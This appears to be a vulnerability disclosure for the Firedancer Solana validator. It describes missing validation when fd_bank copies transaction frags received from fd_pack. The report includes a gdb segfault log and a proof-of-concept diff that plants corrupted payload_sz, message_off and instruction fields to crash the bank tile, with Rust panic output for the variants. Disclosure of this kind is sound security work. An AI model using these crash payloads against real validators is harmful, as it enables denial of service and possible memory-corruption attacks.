The fd_mux_during_frag_fn is called after the mux has received a new frag.
/* fd_mux_during_frag_fn is called after the mux has received a new frag
from an in, but before the mux has checked that it was overrun. This
callback is not invoked if the mux is backpressured, as it would not
try and read a frag from an in in the first place (instead, leaving
it on the in mcache to backpressure the upstream producer). in_idx
will be the index of the in that the frag was received from.
If the producer of the frags is respecting flow control, it is safe
to read frag data in any of the callbacks, but it is suggested to
copy or read frag data within this callback, as if the producer does
not respect flow control, the frag may be torn or corrupt due to an
overrun by the reader. If the frag being read from has been
overwritten while this callback is running, the frag will be ignored
and the mux will not call the process function. Instead it will
recover from the overrun and continue with new frags.
This function cannot fail. If opt_filter is set to non-zero, it
means the frag should be filtered and not passed on to downstream
consumers of the mux.
The ctx is a user-provided context object from when the mux tile was
initialized.
seq, sig, chunk, and sz are the respective fields from the mcache
fragment that was received. If the producer is not respecting flow
control, these may be corrupt or torn and should not be trusted,
except for seq which is read atomically. */
typedef void (fd_mux_during_frag_fn)( void * ctx,
ulong in_idx,
ulong seq,
ulong sig,
ulong chunk,
ulong sz,
int * opt_filter );
Specifically, the parameters seq, sig, chunk, and sz originate from the received mcache fragment. Since the producer could be compromised, these fields are considered untrusted.
Vulnerability Details
In the file fd_bank.c located at src/app/fdctl/run/tiles, when the during_frag process receives data from fd_pack, at the code point [1], the data is directly copied to ctx->out_mem without any checks.
In the subsequent logic of fd_bank, when the after_frag function calls fd_bank_abi_txn_init to handle the maliciously constructed fd_txn_p_t passed through IPC by fd_pack, various memory safety issues may arise.
Taking the construction of a malicious txn->payload_sz as an example, when payload_sz is maliciously constructed data, subsequent calls to fd_blake3_append can lead to memory safety issues.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007dc67d6ecadf in __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, warning: Could not find DWO CU /home/user/firedancer/solana/target/release-with-debug/deps/solana_core-2ed32eca82f272f5.solana_core.4822307bae9ea110-cgu.15.rcgu.dwo(0x30dbb07486b8ba) referenced by CU at offset 0x242378 [in module /home/user/firedancer/build/native/gcc/bin/fddev]
req=0x7dc67cbfc3d0, rem=0x7dc67cbfc3d0)
at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78
warning: 78 ../sysdeps/unix/sysv/linux/clock_nanosleep.c: No such file or directory
(gdb) c
Continuing.
(gdb)
Thread 276 "bank:0" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x5fbcb45ff6c0 (LWP 848261)]
blake3_hash_many_avx2 () at c/blake3_avx2_x86-64_unix.S:89
89 vinsertf128 ymm8, ymm8, xmmword ptr [r12+rdx-0x40], 0x01
(gdb) p/x $r12
$1 = 0x328680000d2d
(gdb) p/x $rdx
$2 = 0x40
(gdb) bt
#0 blake3_hash_many_avx2 () at c/blake3_avx2_x86-64_unix.S:89
#1 0x0000000000000000 in ?? ()
(gdb)
Impact Details
Process-to-process memory corruption may lead to the process-to-process RCE between sandboxed tiles.
The attack surface of this vulnerability is when an attacker has arbitrary code execution rights over fd_pack, and then launches a process to process RCE attack on fd_bank. Therefore, we modify the relevant code of the fd_pack process to simulate the situation where the attacker has already obtained the ability to execute code.
The project side realized that the modified content shown by the git diff needs to be synchronized to the local environment. By executing make -j fddev and sudo fddev --no-sandbox, a crash can be triggered.
diff --git a/src/app/fdctl/run/tiles/fd_pack.c b/src/app/fdctl/run/tiles/fd_pack.c
index 29b27221..3ef53278 100644
@@ -394,6 +396,35 @@ after_credit( void * _ctx,
trailer->bank = ctx->leader_bank;
ulong sig = fd_disco_poh_sig( ctx->leader_slot, POH_PKT_TYPE_MICROBLOCK, (ulong)i );
+
+
+ fd_txn_p_t * my_txn = (fd_txn_p_t *)microblock_dst;
+ //poc1
+ my_txn->payload_sz=0x41414141;
+ //poc2
+ //TXN(my_txn)->message_off = 0x4141;
+ //poc3 rust crash
+ //TXN(my_txn)->instr_cnt = 0x4141;
+ /*
+ * thread '<unnamed>' panicked at /home/ht/firedancer/solana/sdk/program/src/message/sanitized.rs:188:22:
+ * program id index is sanitized
+ * note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
+ * ERR 07-29 12:40:17.435789 872498 f17 0 metrics/src/metrics.rs(283): datapoint: panic program="validator" thread="?" one=1i message="panicked at /home/ht/firedancer/solana/sdk/program/src/message/sanitized.rs:188:22:
+ * program id index is sanitized" location="/home/ht/firedancer/solana/sdk/program/src/message/sanitized.rs:188:22" version="0.101.11817 (src:e60d9a62; feat:4215500110, client:Firedancer)"
+ * ERR 07-29 12:40:17.541403 872403 f0 pidns src/app/fdctl/run/run.c(368): tile solana-labs:0 exited with code 1
+ */
+
+ //poc4
+ //memset(TXN(my_txn)->instr,0x41,8) ;
+ /*
+ * thread '<unnamed>' panicked at /home/ht/firedancer/solana/sdk/program/src/message/sanitized.rs:188:22:
+ * program id index is sanitized
+ * note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
+ * ERR 07-29 12:38:50.637422 871464 f17 0 metrics/src/metrics.rs(283): datapoint: panic program="validator" thread="?" one=1i message="panicked at /home/ht/firedancer/solana/sdk/program/src/message/sanitized.rs:188:22:
+ * program id index is sanitized" location="/home/ht/firedancer/solana/sdk/program/src/message/sanitized.rs:188:22" version="0.101.11817 (src:e60d9a62; feat:4215500110, client:Firedancer)"
+ * ERR 07-29 12:38:50.745302 871372 f0 pidns src/app/fdctl/run/run.c(368): tile solana-labs:0 exited with code 1
+ */
+
fd_mux_publish( mux, sig, chunk, msg_sz+sizeof(fd_microblock_bank_trailer_t), 0UL, 0UL, tspub );
ctx->bank_expect[ i ] = *mux->seq-1UL;
ctx->bank_ready_at[i] = now + (long)ctx->microblock_duration_ticks;
Only the crash log for PoC1 is listed here. Replacing the code of PoC1 with other PoC will yield different crash reasons. We believe that there are at least three different vulnerabilities in the parsing code here that could lead to crashes. PoC3 and PoC4 will even trigger crash in rust.
